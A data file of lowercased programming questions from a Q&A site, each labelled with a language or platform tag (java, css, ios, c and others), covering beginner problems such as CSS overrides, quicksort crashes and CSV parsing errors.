jquery: get descendants of a parent with hiearchy intact  consider the following example   <pre><code>div &gt; h1 &gt; p &gt; a </code></pre>   <code>div.children()</code> gives the immediate children which is <code>h1</code>    of course i use <code>find( * )</code> to get all descendants.    however  i need <code>div.find( h1 &gt; p &gt; a)</code> <strong>not</strong> <code>div.find(h1 p a)</code>  which is what the default find( * ) is doing: it is simply ignoring the original hiearchy.    <em>please note that div can be anything. the whole hiearchy can vary in depth.</em> ie) div > h1 > span > b > i > a  and etc....,jquery
trying to add quartz framework  i m trying to add quartz framework but when i test if i ve added correctly i got the error quartz not found as:   <pre><code>command /developer/platforms/iphonesimulator.platform/developer/usr/bin/gcc-4.2 failed with exit code 1. </code></pre>   i tried:   <ol> <li>go to target</li> <li>expanding and double clicking.</li> <li>now i got a window opened having linked libraries.</li> <li>clicking on + sign.</li> <li>now i got list of all the frameworks but  surprise not the quartzframework only quartzcore type of thing </li> <li>so i click on add other and navigate to system-->library-->frameworks and select quartzframework.</li> <li>click on relative to build product and add successfully.</li> </ol>   now if i try to test if everything is fine i got above error. i also tried to clean all targets close xcode but getting error.    i also try this link <a href= http://developer.apple.com/cocoa/pdfkit.html  rel= nofollow >go to project menu-->add to project-->systems-->library-->frameworks-->quartzframework</a>    any suggestions     thanks,iphone
how to change position of image view in landscape mode  hi i am new to iphone. what i did is displaying grid of images and a full image on image view. when ever i rotate the simulator to landscape left(or)right image view position is not changed. i need to change the postion and reduce the size of the image view in landscape mode how can i done this pls help me. post some code thank u .,iphone
how do i send two different data types in my main method to another method   <strong>what the main method calls for:</strong>   <ul> <li>ask the user what his name is</li> <li>assign the user s name to variable of type string called myname</li> <li>ask the user what his body temperature is</li> <li>assign the number entered by the user to a variable of type double named mytemperature</li> <li>call the determinefever method  sending it the value of the variables myname and mytemperature</li> </ul>   <strong>what the determinefever method calls for:</strong>   <ul> <li>this method has two parametesr: a string called yourname and a double  named bodytemperature</li> <li>this method returns nothing</li> <li>this method says  hello <em>_</em>_  you have a fever. take some aspirin.  if the value of the variable bodytemperature is above 98.6</li> <li>fill in the blank with the value of the variable yourname</li> <li>if the bodytemperature is less than or equal to 98.6  say  hello <em>_</em>  you have no fever. you may go to the movies. </li> <li>fill in the blank with the value of the variable yourname</li> </ul>   <strong>my main method:</strong>   <pre><code>string myname; double mytemperature; system.out.print( \nwhat is your name   ); myname = readit.next(); system.out.print( \nwhat is your body temperature   ); mytemperature = readit.nextdouble(); determinefever(); </code></pre>   <strong>determine fever method:</strong>   <pre><code>public static void determinefever() {     string message;     if (bodytemperature &lt;= 98.6) {         message =  hello   + yourname +    you have no fever. you may go to the movies. ;     } // end if     else {         message =  hello   + yourname +    you have a fever. take some aspirin. ;     } // end else     system.out.println(message); } // end determinefever method </code></pre>,java
javascript for loop returns a different value  i am trying to find the largest number in a array that is not on its position in the order from small to large.   <pre><code>var input=[ 4  1  7  8  9  6  10 11 12 13  2  5  3 ]; function paramid(input){ var max=0 for (var i=0;i&lt;input.length-1;i++){     for (var j=1;j&lt;input.length;j++){         if((input[i]&gt;input[j]) &amp;&amp; (input[j]&gt;max)) {max=input[j]}               } } return max }  </code></pre>   i expected it to return 6  however it returns 12. why     very sorry that i wasn t clear about the question. input is a array of number. can only one number from its position to the top until it is in the order from small to large. output array of numbers that moves from first to last. it takes the least amount of moves to rearrange.,javascript
open a google url on button click  i have a button that when i click this button it opens google for me   but when i run my code said unfortunately it stopped   <pre><code>public class myactivity extends activity {  context mycontext=null;  connectivitymanager connectmngr=(connectivitymanager) mycontext.getsystemservice(context.connectivity_service); networkinfo netinfo=connectmngr.getactivenetworkinfo(); @override public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.main);      button button=(button)findviewbyid(r.id.btncall);     button.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view view) {if (netinfo==null || netinfo.isavailable()==false||netinfo.isconnected()==false)     {         toast.maketext(getapplicationcontext()  no internet!!  toast.length_long);     }         else         {             toast.maketext(getapplicationcontext()  you are connected   toast.length_long);             intent intent=new intent(intent.action_view uri.parse( http://www.google.com ));              startactivity(intent);     } } });     }    </code></pre>,android
code for fb invitation not working  this is the code for action     <pre><code>-(void)fninvitefb {      //facebook code      nsstring *facebookid = @ 100000797858986 ;      nsdictionary *parameters = @{@ to :@ 100000739625716   };   [fbwebdialogs presentrequestsdialogmodallywithsession:nil  message:@ test msg   title:@ test title   parameters:parameters  handler:^(fbwebdialogresult result  nsurl *resulturl  nserror *error)  {      if(error)      {          nslog(@ some errorr: %@   [error description]);          uialertview *alrt = [[uialertview alloc] initwithtitle:@ invitiation sending failed                 message:@ unable to send inviation at this moment  please make sure your are connected           with internet  delegate:nil cancelbuttontitle:@ ok  otherbuttontitles: nil];          [alrt show];  }  else  {       if (![resulturl query])      {         return;      }       nsdictionary *params = [self parseurlparams:[resulturl query]];      nsmutablearray *recipientids = [[nsmutablearray alloc] init];      for (nsstring *paramkey in params)      {          if ([paramkey hasprefix:@ to[ ])          {              [recipientids addobject:[params objectforkey:paramkey]];          }      }       if ([params objectforkey:@ request ])      {          nslog(@ request id: %@   [params objectforkey:@ request ]);      }       if ([recipientids count] &gt; 0)      {           //[self showmessage:@ sent request successfully. ];           //nslog(@ recipient id(s): %@   recipientids);           uialertview *alrt = [[uialertview alloc] initwithtitle:@ success!             message:@ invitation(s) sent successfuly!  delegate:nil cancelbuttontitle:@ ok             otherbuttontitles: nil];           [alrt show];      }     }  }  friendcache:nil];   // nsstring *facebookid = @ 100000797858986 ;      } </code></pre>   and in app delegate function code    <pre><code>- (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions {     // override point for customization after application launch.      // set app s client id for |gppsignin| and |gppshare|.     [gppsignin sharedinstance].clientid = kclientid;     [gppsigninbutton class];      [fbloginview class];     [fbprofilepictureview class];     [[uiapplication sharedapplication] setstatusbarstyle:uistatusbarstylelightcontent];      [gppdeeplink setdelegate:self];     [gppdeeplink readdeeplinkafterinstall];     return yes; }  - (bool)application:(uiapplication *)application openurl:(nsurl *)url sourceapplication:(nsstring *)sourceapplication annotation:(id)annotation {     nsstring *urlstring = [url absolutestring];      if([urlstring rangeofstring:@ 681678928556808 ].location==nsnotfound)     {         return [gppurlhandler handleurl:url                       sourceapplication:sourceapplication                              annotation:annotation];     }     else     {         return [fbappcall handleopenurl:url sourceapplication:sourceapplication];     }      return [gppurlhandler handleurl:url                   sourceapplication:sourceapplication                          annotation:annotation];  } </code></pre>   also configured in list the same id is that correct or any wrong thing.,ios
mysql query wordpress to google sheets  i know i am suppose to upload specific code but i’m so new to mysql queries that i don’t even know where to begin.    i need to pull the data from the buddypress database and update or create rows in a google sheet.    here’s how the data in the table is:   <pre><code>| id | field_id| user_id |      value      |   +----+---------+---------+-----------------+ | 35 |    1    |    13   | username        |   | 36 |    14   |    13   | first name      |   | 37 |    16   |    13   | last name       |   | 38 |    2    |    13   | phone number    |   | 39 |    4    |    13   | email address   |   | 40 |    9    |    13   | mailing address | </code></pre>   i have zapier and i want to have a scheduled query at 6am each day that pulls fields 1  14  16  2  &amp; 4 for all users above user 13. i want to pull it by user_id and then update or create a new row in a google sheet if one doesn’t exist. the google sheet has the following columns:   <pre><code>| user id | first name | last name | phone # | email | </code></pre>,mysql
how to open pdf file in new window which is generated through reportviewer in c#.net <pre><code>byte[] results = reportviewer.localreport.render( pdf ); response.contenttype =  application/pdf ; response.outputstream.write(results  0  results.length); response.end(); </code></pre>   here by using this code the report is opening in same browser as pdf file. but i want to open this pdf file in a new window. can u help me please..,.net
javascript code runs when outside the function but doesn t run when inside the function <pre><code>&lt;p id= color  &gt;this paragraph may change color &lt;/p&gt; &lt;input type= button  value= change color  onclick= change() &gt;  &lt;script type= text/javascript &gt; var colors=[ red   blue   green   yellow ]; var changed=0;  function change(){         document.getelementbyid( color ).style.color=colors[changed];          changed=changed+1;     } &lt;/script&gt; </code></pre>   this changes color on click but when two variables are kept inside the function it doesn t work...can someone explain to me why,javascript
file handling and structure in c  i m trying to read lines from a text file line by line and store it in an array. the txt file has some question in it which will be asked to the player !    here s some of the questions !!   <pre><code>1: när kom potatisen till europa ;a:1300-talet; b:1500-talet; c:900-talet;d:1700-talet\n rätt svar : b  2: i vilken enhet mats elektrisk spänning  ;a:ampere;b:volt;c:joule;d:watt\n rätt svar: a  3: från vilket land har vi fått lego ;a:tyskland;b:australien;c:japan;d:danmark\n rätt svar : d its in sweden ! </code></pre>   i have made a function that splits the line wherever it finds a semicolon! like this:    <pre><code>#pragma warning(disable:4996) #include&lt;stdio.h&gt; #include&lt;stdlib.h&gt; #include&lt;string.h&gt;     struct quiz {     char questions[50];     char* alt[4];     char correctanswer[1]; };  int main(){      struct quiz all_ques[50];     int i = 0;      file *haidar;     haidar = fopen( gameee.txt    r );     char str[500];     char *ptr;      while (fgets(str  500  haidar))               // read 500 characters     {          ptr = strtok(str   ; );  // split our findings around the   ;           if(ptr == null){              printf( error\n );         }          else {         strcpy(all_ques[i].questions  ptr);// store the question           }          ptr = strtok(null   ; );            // and keep splitting         if(ptr == null){              printf( error\n );         }         else {         all_ques[i].alt[0] = malloc(10);         strcpy(all_ques[i].alt[0]  ptr);// store the first option           }         ptr = strtok(null   ; );       // and keep splitting          if(ptr == null){              printf( error\n );         }         else{         all_ques[i].alt[1] = malloc(10);         strcpy(all_ques[i].alt[1]  ptr);    // store the second option     }          ptr = strtok(null   ; );       // and keep splitting          if(ptr == null){              printf( error\n );         }          else {         all_ques[i].alt[2] = malloc(10);         strcpy(all_ques[i].alt[2]  ptr);    // store the third option         }          ptr = strtok(null   ; );       // and keep splitting          if(ptr == null){              printf( error\n );         }          else {         all_ques[i].alt[3] = malloc(10);         strcpy(all_ques[i].alt[3]  ptr);    // store the fourth option          }          while (fgets(str  500  haidar)!= null);         strcpy(all_ques[i].correctanswer  str);    // store the correct answer          i++;     } } </code></pre>   i can only print out the first question but not the others i and i cant figure it out,c
can we use siri as a speech to text in our app   i am going to design an app for iphone 4s where user will have speech to text feature.    when user taps on uitextview  keyboard will open with microphone option on the left of spacekey.    now my question is  can i use that microphone option as text input for textview using speech. i dont have iphone 4s yet  that why  i can not test it own.,iphone
how to override !important style and show  add to cart  button next to price   i have issue with add to cart button on pages. for example <a href= http://touchdowner.cz/digital-products/sound-kits/808-kits/  rel= nofollow noreferrer >here</a>  add to cart  is not showing for some reason. when check in css class i see this css rule:   <pre><code>.woocommerce a.button  .woocommerce-page a.button  .woocommerce  button.button  .woocommerce-page button.button  .woocommerce input.button   .woocommerce-page input.button  .woocommerce #respond input#submit   .woocommerce-page #respond input#submit  .woocommerce #content input.button   .woocommerce-page #content input.button { background: #fff !important; box-shadow: none; } </code></pre>   this is entire html from that part with button:   <pre><code>&lt;a rel= nofollow  href= /digital-products/sound-kits/808-kits/ add-to- cart=1529  data-quantity= 1  data-product_id= 1529  data-product_sku=    class= button product_type_simple add_to_cart_button  ajax_add_to_cart &gt;přidat&lt;/a&gt; </code></pre>   when insert this code into custom css cant overwrite that !important rule  and change color to some other. some here here  how to overwrite that and change color  and move a little down next to price,css
"load dynamic images on angularjs  i m new to angularjs and i need to display an image when a thumbnail is clicked. i wanted to display its preview picture. it will be fetched on my database.    my database table on mysql goes something like this:    materials:{ [name: material1   thumbnail: thumbnail1    preview: preview1 ]     [name: material2   thumbnail: thumbnail2    preview: preview2 ] }    i m also using laravel as my backend framework. the list of materials are now displaying but when i clicked on the thumbnail the preview image didn t appear. is there any way i can fix this      <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var imagectrl = function($scope  $http) {
 
   $scope.materials = [];
   $scope.init = function(){
     $http.get( api/materials ).
     success(function(data  status  headers  config){
       $scope.materials = data;
     });
   }
 
   $scope.loadimage = function() {
     $scope.image.path = $scope.materials.preview;
   }
 };
 
 app.controller( imagectrl   imagectrl);</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div ng-controller= imagectrl &gt;
   &lt;ul&gt;
     &lt;li ng-repeat= material in materials &gt;
       &lt;div&gt;@{{material.name}}&lt;/div&gt;
       &lt;a href=  &gt;&lt;img ng-src= @{{material.thumbnail}}  alt=   ng-click= loadimage()&gt;&lt;/a&gt;
     &lt;/li&gt;
   &lt;/ul&gt;
   &lt;img ng-src= @{{image.path}}  alt=  &gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",angularjs
css gone wild - how to stop a style from going too far  is there any way in css to put a limit on how far something will cascade      i m running into a situation where my css is just going out of control because of how many classes i have to make  because of inheritence. for instance..   <pre><code>.menu a:hover {    background : #xxxxxx; }  &lt;div class= menu &gt;    &lt;a href= # &gt;hyperlink&lt;/a&gt;    &lt;ul&gt;       &lt;li&gt;&lt;a href= # &gt;another hyperlink&lt;/a&gt;&lt;/li&gt;    &lt;/ul&gt; &lt;/div&gt; </code></pre>   now  <code>another hyperlink</code> inherits the same style. now i have two options... i can change my <code>.menu</code> implementation to this..   <pre><code>.menu &gt; a:hover {    // ... } </code></pre>   which makes only the top-level anchor elements effected. but this isn t always what i want. usually  in a lot of cases  i end up having to write more specialized styles for deeper down in various hierarchies.     in this one instance  i know the solution  but what about more complicated scenarios  i ve got a really bad case of  css gone wild . i have over 20 .css files now  and while they are well organized and planned out  it s just so much to handle. is that normal  do most huge websites have that many css styles to deal with,css
change display to none in css  i use shortcode to embed an html world map on one of my web pages.  right below the world map is a third party link for which i want to set the display value to  none   however since i have no css skills or web dev background i am having difficulty writing the custom css for this.  i ve played around with containers and specific page id s  but no luck. the page is www.sheerheroine.com/map.  can anyone steer me in the right direction on how to write the code please  when i inspect the page i can see which container the link is in  however when i use this container the entire map is removed. thanks!,css
navigation title and bar button items disappears  i had the problem in my project where the titles and navigation bar button items were missing from the navigation bars in xcode 9 and ios 11. i m not using the navigation controller just using the navigation bars in the view controllers  and all these viewcontroller have the relationship with the tabviewcontroller. when i get into the app main view of the tabviewcontroller shows the title and navigation bar button items but when i switch the tabs the title and navigation bar items disappear.and i m using storyboards for this.    <a href= https://i.stack.imgur.com/jkrco.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jkrco.png  alt= this is navigation bar 1  ></a>    <a href= https://i.stack.imgur.com/jwxkd.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jwxkd.png  alt= this is navigation bar 2  ></a>    <a href= https://i.stack.imgur.com/vkqog.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vkqog.png  alt= i can see the navigation bar 2 on simulator ></a>    <a href= https://i.stack.imgur.com/lls03.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/lls03.png  alt= title and bar button of navigation bar 1 disappears on simulator ></a>,ios
would you avoid using a component that requires .net 3.5   in a follow up to a <a href= https://stackoverflow.com/questions/762762/what-minimum-version-of-net-can-i-expect-on-client-machines >previous question</a>  would you avoid using a component library that required .net 3.0/3.5  would the additional install requirements be too much to ask or  is the .net installer easy enough to just include or link to that it doesn t matter,.net
pass data back to parent controller for ios development  i have problem to display selected data into detaillabeltext in one of my row of section  beside reload the whole table view any other method to reload only certain row of section     //rootviewcontroller.m (parent controller)   <pre><code>-(void) selecteddata:(nsstring*) text {   selectedabsencetype = text;    nslog(@ the absence type select is %@  text); }  -(void) (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {  static nsstring *cellidentifier = @ cell ;  uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:cellidentifier]; if (cell == nil) {     cell = [[uitableviewcell alloc] initwithstyle:uitableviewcellstylesubtitle reuseidentifier:cellidentifier];     if (indexpath.section == 0)     {         cell.accessorytype = uitableviewcellaccessorydisclosureindicator;     } }  nsdictionary *dictionary = [dataarray objectatindex:indexpath.section]; nsarray *array = [dictionary objectforkey:@ data ]; nsstring *cellvalue = [array objectatindex:indexpath.row]; cell.textlabel.text = cellvalue;  if([cellvalue isequal: @ absence type ]) {     cell.detailtextlabel.text = selectedabsencetype; } else if([cellvalue isequal:@ start date ]) {     cell.detailtextlabel.text = selecteddate; } return cell; </code></pre>   }    =========================================================================================== i have a problem when i calling the method of the protocol  it keep prompt me a arc semantic issue at this statement    <pre><code>[self.delegate selecteddata: (nsstring*) [self.absencetypes objectatindex:indexpath.row]];: </code></pre>   //child.h   <pre><code>#import &lt;uikit/uikit.h&gt;  @protocol childviewcontrollerdelegate;  @interface absencetypesviewcontroller : uitableviewcontroller {    id&lt;childviewcontrollerdelegate&gt;delegate; } @property (nonatomic weak) id&lt;childviewcontrollerdelegate&gt; delegate; @property nsarray *absencetypes; @end  @protocol childviewcontrollerdelegate &lt;nsobject&gt; -(void) selecteddata:(nsstring*) text; @end  //child.m  #pragma mark - table view delegate  - (void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath    *)indexpath {  nsstring *selectedcell = nil; selectedcell = [self.absencetypes objectatindex:indexpath.row];  [self.delegate selecteddata: (nsstring*) [self.absencetypes objectatindex:indexpath.row]];  //[self.navigationcontroller popviewcontrolleranimated:yes]; nslog(@ %@   selectedcell);  } </code></pre>,ios
majority element . it would be very helpful if someone could point out the fault  i have provided only for an array of size 6. the first element is copied into a variable the variable is matched with other elements of the array     <pre><code>#include &lt;stdio.h&gt;  int main() {     int arr[6] i j k count=0;     printf( enter the nos );     for(i=0;i&lt;=5;i++)         //loop to accept values from the user     {         scanf( %d  &amp;arr[i]);     }     for(i=0;i&lt;=5;i++)     {     arr[i]=j;             //the 1st element is assigned to j         for(k=0;k&lt;=5;k++)         {             if(arr[k]==j)             {                 count++;  //whenever the required element is found in the array count is increased             }         }         if(count&gt;=3)         {             printf( the majority elt is %d  j);         }         else         {             count=0;  //if above conditions dont satisfy the count is again set to 0         }       //the inner loop after completing its iterations gives control to the outer loop     } } </code></pre>,c
change item layout in multiple spinner in android  i use multiple spinner from this post: <a href= https://stackoverflow.com/questions/5015686/android-spinner-with-multiple-choice >android spinner with multiple choice</a>    but i want to change looks of items. i have my own layout:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= match_parent      android:layout_height= match_parent      android:orientation= horizontal  &gt;      &lt;imageview         android:id= @+id/imageview1          android:layout_width= wrap_content          android:layout_height= wrap_content          android:src= @drawable/radiobutton2  /&gt;      &lt;linearlayout         android:layout_width= 40dp          android:layout_height= match_parent          android:orientation= vertical           android:background= @android:color/black &gt;     &lt;/linearlayout&gt;      &lt;textview         android:id= @+id/textview1          android:layout_width= wrap_content          android:layout_height= wrap_content          android:text= large text          android:layout_gravity= center          android:textappearance=  android:attr/textappearancelarge           android:layout_marginleft= 10dp /&gt;  &lt;/linearlayout&gt; </code></pre>   and i want to change items layout on my own layout. how i can do that,android
css promo box center positioning  i have a set of 3 promo-boxes   <pre><code>.promo-boxes .promo-box {     width: 49.5% !important;     margin-right: 0.3% !important;     margin-top: 1% !important;     position: relative !important;     float: none !important; }  .promo-boxes .promo-box.second  .promo-boxes .promo-box.last {     margin-right: 0 !important; } </code></pre>   so as you can see i ve tried using position and float as well as other text-left etc to no success.    i want these to be centered anything i m missing,css
what does the term  user specific  objects mean   what is the term  user specific  objects mean when initializing them for a user connects to your web application for the first time     regards fri,asp.net
finding closet value in another list  please let me know if the question is not clear. i can provide more info. i have following musical notes in arraylist   <pre><code>arraylist&lt;string&gt; noteslist = new arraylist&lt;&gt;(); noteslist.add( a );    //0 noteslist.add( a# );    //1 noteslist.add( b );     //2 noteslist.add( c );     //3 noteslist.add( c# );    //4 noteslist.add( d );     //5 noteslist.add( d# );    //6 noteslist.add( e );     //7 noteslist.add( f );     //8 noteslist.add( f# );    //9 noteslist.add( g );     //10 noteslist.add( g# );    //11 </code></pre>   i have two sub lists  one for ascending and one for descending. both of them contain notes which are part of noteslist.    <pre><code>arraylist&lt;string&gt; ascendlist = new arraylist&lt;&gt;(); arraylist&lt;string&gt; descendlist = new arraylist&lt;&gt;(); </code></pre>   ex:    <pre><code>ascendlist = c  d  e  f#  g        //indices in noteslist = 3 5 7 9 10 descendlist = a  c#  e  f  g  g#   // indices in noteslist = 0 4 7 8 10 11 </code></pre>   i need to generate patterns by going through ascending list and then descending an vice versa. example:    <blockquote>    d  e (from ascending list)  e  c# (from descending list) c d e f#        (ascend)  f e c# a (descend)        f e c# (descend)  d  e (ascend)  </blockquote>   there is a condition for doing this. when i want to connect descending pattern at end of ascending pattern  i need to find the next note equal to or below the last ascending note  but in the descending list.    ex: if f# is the last note in one of the pattern of ascending type  f should be the first note in descending pattern. if e is the last note in ascending pattern  again e is the first note in descending pattern since e is present in both ascend and descend. similarly when i generate ascending pattern at the end of descending pattern  i need to find next note equal to or higher the last descending note.    i could not figure out how to do this. one method i tried was to go for indices for both ascending and descending corresponding to <code>noteslist</code> and then thought of mapping and then using <code>map.higherkey</code>  <code>map.lowerkey</code>  etc methods. but unable to proceed because i could not really map them.,java
html hyperlink wont open  i tried to open make the website to open  kapital 2  but it doesnt work  it shows like a hyperlink but when i press on it doesnt happend anything. any helpp    <pre><code>&lt;html&gt;     &lt;head&gt;         &lt;title&gt;hyperlinks&lt;/title&gt;         &lt;meta charset= utf-8 &gt;     &lt;/head&gt;     &lt;body&gt;          &lt;a href= textauszeichnungen/3.html &gt;index 3&lt;/a&gt;         &lt;a href id= kapitel 2 &gt;nach kapitel 2&lt;/a&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>,html
cannot find symbol: variable  despite declaring the variable  when i compiled the code below  it said:    <blockquote>     error: cannot find symbol: variable max   </blockquote>   but i did define the variable <code>max</code>....   <pre><code>public class solution {     public static  boolean isoneeditdistance(string s  string t) {             if (s.length() &gt;= t.length() ) {                     stringbuilder a = new stringbuilder (s);                     stringbuilder b = new stringbuilder (t);                     int max = s.length();                     int min = t.length();             }             else {                     stringbuilder a = new stringbuilder (t);                     stringbuilder b = new stringbuilder (s);                     int max = t.length();                     int min = s.length();             }              int flag = 0;              if ( (max-min)&gt;1 )                     return flase;             else if ( (max-min)==1 ) {                 ..... </code></pre>,java
how to display the data in the tableview cell from the array of array in swift  i have the values as:-    <pre><code>[[yes no] [yes no]] </code></pre>   i need to display in cellforrowat indexpath in tableview .    my code:-   <pre><code> var tablearray:array&lt;[string]&gt; = [] </code></pre>   fetching the data from json:-   <pre><code> if  let data = wholedata[ data ] as  array&lt;[string:any]&gt;{      print(data)      print(response)      for question in data {          let options = question[ options ] as! [string]          self.tablearray.append(options)          //  self.fetchedhome.append(options as! [home])          self.no = options.count      }      print(self.tablearray) </code></pre>   my cell for row at index in tableview :-   <pre><code> func tableview(_ tableview: uitableview  cellforrowat indexpath: indexpath) -&gt; uitableviewcell {          let identifier =  cell          var cell: questionlistcell! = tableview.dequeuereusablecell(withidentifier: identifier) as  questionlistcell         if cell == nil {             tableview.register(uinib(nibname:  questionlistcell   bundle: nil)  forcellreuseidentifier: identifier)             cell = tableview.dequeuereusablecell(withidentifier: identifier) as  questionlistcell         }                     print(reviewviewmodel.tablearray)         cell.question.text =  hai           } else {             return uitableviewcell()         } } </code></pre>   how to display the data in the tableview cell,ios
userinteractionenabled isn t disabling touch events  i am trying to disable touch events for my game s uiview  but setting <code>userinteractionenabled = no</code> doesn t seem to have any effect.  this is the only view i have in the app.    if i check <code>isuserinteractionenabled</code> for the view  it returns no.    i am getting my <code>-(void)touchesbegan:(nsset*)touches withevent:(uievent*)event</code> messages via my uiviewcontroller  not the uiview.  since adding a root uiviewcontroller  i no longer get touch events sent to the uiview.    am i doing something wrong here   i would assume setting <code>userinteractionenabled = no</code> would stop all touch events from happening.,ios
selecting values from a table where values from one column is divided into multiple columns  i m trying to develop a query in which the values of a single column are split into two or more separate columns to reflect whether or not a particular id has each of the different values.    for example  i have a table like this:   <pre><code>------------ | id | val | |----|-----| | 1  |  a  | | 1  |  b  | | 2  |  a  | | 3  |  a  | | 4  |  b  | | 5  |  a  | ------------ </code></pre>   the query would produce a table that looks like this:   <pre><code>---------------------- | id | val_1 | val_2 | |----|-------|-------| | 1  |  a    |  b    | | 2  |  a    |       | | 3  |  a    |       | | 4  |       |  b    | | 5  |  a    |       | ---------------------- </code></pre>   specifically  i would like this query to show only id s that have missing values (i.e. id  1  would be knocked off the table).    so far i have tried this by using a self inner join  but i have not been able to find the select where clauses to produce this.    any suggestions     thanks!,sql
getting  new-line character seen in unquoted field  error reading csv file  i am trying to read a csv file into a program and i am getting the following four errors.   <pre class= lang-none prettyprint-override ><code>file  /users/interpott/downloads/satstressgui-master/contents/resources/satstressgui.py   line 2173  in load file  /users/interpott/downloads/satstressgui-master/contents/resources/satstressgui.py   line 891  in file_dialog file  /users/interpott/downloads/satstressgui-master/contents/resources/satstressgui.py   line 887  in file_dir_dialog file  /users/interpott/downloads/satstressgui-master/contents/resources/satstressgui.py   line 2203  in load_entries error: new-line character seen in unquoted field - do you need to open the file in universal-newline mode  </code></pre>   code snippet:   <pre><code>def load(self  evt):     try:         file_dialog(self                      message=u load from csv file                       style=wx.open                      wildcard= csv files (*.csv)|*.csv                       action=self.load_entries) **2173**     except exception  e:         traceback.print_exc()  def set_num_rows(self num_rows):     self.pp.setrows(num_rows)     self.sp.setrows(num_rows)     self.tp.setrows(num_rows)     if (num_rows &gt; self.rows):         for j in range(num_rows-self.rows):             self.add_row(self.fieldpanel self.pp  self.header1   0 )             self.add_row(self.fieldpanel self.tp  self.header2    )             self.add_row(self.fieldpanel self.sp  self.header3    )         self.update_parameters()     else:         for j in range(self.rows-num_rows):             for p d in self.header1+self.header2+self.header3:                 self.parameters[p][-1].destroy()                 del self.parameters[p][-1]                 del self.sc.parameters[p][-1]     self.rows = num_rows     self.row_ctrl.setvalue(num_rows)     self.spin_value = num_rows     self.sc.set_parameter( point_rows  self.rows)     self.fieldpanel.layout()     self.fieldpanel.setupscrolling()  def load_entries(self  filename):     f = open(filename)     csvreader = csv.reader(f  dialect=csv.excel_tab)     coord = csvreader.next() #skip headers. **2203**     data = list(csvreader)     self.set_num_rows(len(data))     try:         keys = [ theta    phi    t    orbit ]          for i coord in enumerate(data):              for key in keys:                 val = coord[keys.index(key)]                 self.parameters[key][i+1].setvalue(val)                 self.sc.set_parameter(key  val  point = i+1)     except:         traceback.print_exc()     finally:         f.close()         self.fieldpanel.layout()         self.fieldpanel.setupscrolling()         self.layout() </code></pre>   i tried some of the common suggestions. can anyone tell me where i am messing up     sample csv file below:   <pre class= lang-none prettyprint-override ><code>theta [degrees] phi [degrees] t [yrs] orbital pos [degrees] stt [kpa] spt [kpa] spp [kpa] sigma1 [kpa] sigma3 [kpa] alpha [degrees] 10 10 0 0       10 10 1000 0       10 10 2000 0       10 10 3000 0       10 10 4000 0       10 10 5000 0       10 10 6000 0       10 10 7000 0       10 10 8000 0       10 10 9000 0       10 10 10000 0       10 10 11000 0       10 10 12000 0       10 10 13000 0       10 10 14000 0       10 10 15000 0       10 10 16000 0       10 10 17000 0       10 10 18000 0       10 10 19000 0       10 10 20000 0       10 10 21000 0       10 10 22000 0       10 10 23000 0       10 10 24000 0       10 10 25000 0       </code></pre>,python
(segmentation fault) core dump in quicksort code in c  i have made code for quicksort .it works well in some cases but in most of the cases it causes core dump problem.mostly cases are long input >10   already big sorted array. why it is happening      this is my code.   <pre><code>#include&lt;stdio.h&gt;  void quicksort(int arr[] int s int l) {     int temp;      if(l-s &lt;= 1) return ;      int i=s+1 j=s+1;      for(i;i&lt;l;i++)     {         if(arr[i]&lt;=arr[s])         {             temp = arr[i];             arr[i] = arr[j];             arr[j] = temp;             j++;         }     }      temp = arr[j-1];     arr[j-1] = arr[s];     arr[s] = temp;       quicksort(arr s j);     quicksort(arr j l); } int main() {     int arr[50] n i;     scanf( %d  &amp;n);      for(i=0;i&lt;n;i++)     scanf( %d  &amp;arr[i]);      quicksort(arr 0 n); for(i=0;i&lt;n;i++)     printf( \n%d\n  arr[i]);  } </code></pre>,c
how to use a class variable   i have a class method <code>loadimage:(nsstring *)path</code>to load image from path  if the path is nil  the load the default path image.   <pre><code> +(nsimage *) loadimage:(nsstring *)path{    if(path== nil){     path = [[nsbundle mainbundle] pathforresource:@ default  oftype:@ png ];   } } </code></pre>   because the default path is always using the same path  i want to calculate the path only once if i run the method 1000 times  like   <pre><code>if(defaultpath == nil){     defaultpath = [[nsbundle mainbundle] pathforresource:@ default  oftype:@ png ]; } path = defaultpath; </code></pre>     i think i can use static variable  but i don t know how to do it  please help me  i m glad to know any suggestions about improving performance.,objective-c
are apns now guaranteed delivery given that passbook passes are guaranteed  i was just flicking through some material about passbook and read that it has guaranteed delivery. as its based on apns  does that mean that apps using apns unrelated to passbook now also get guaranteed delivery  if not  why not  if it can be done for passbook apns,ios
why css is not being applied to textboxes in ie   the following css is working in ff but not in ie.   <pre><code>select input[type=text] {     width:200px;     height: 20px; } </code></pre>,css
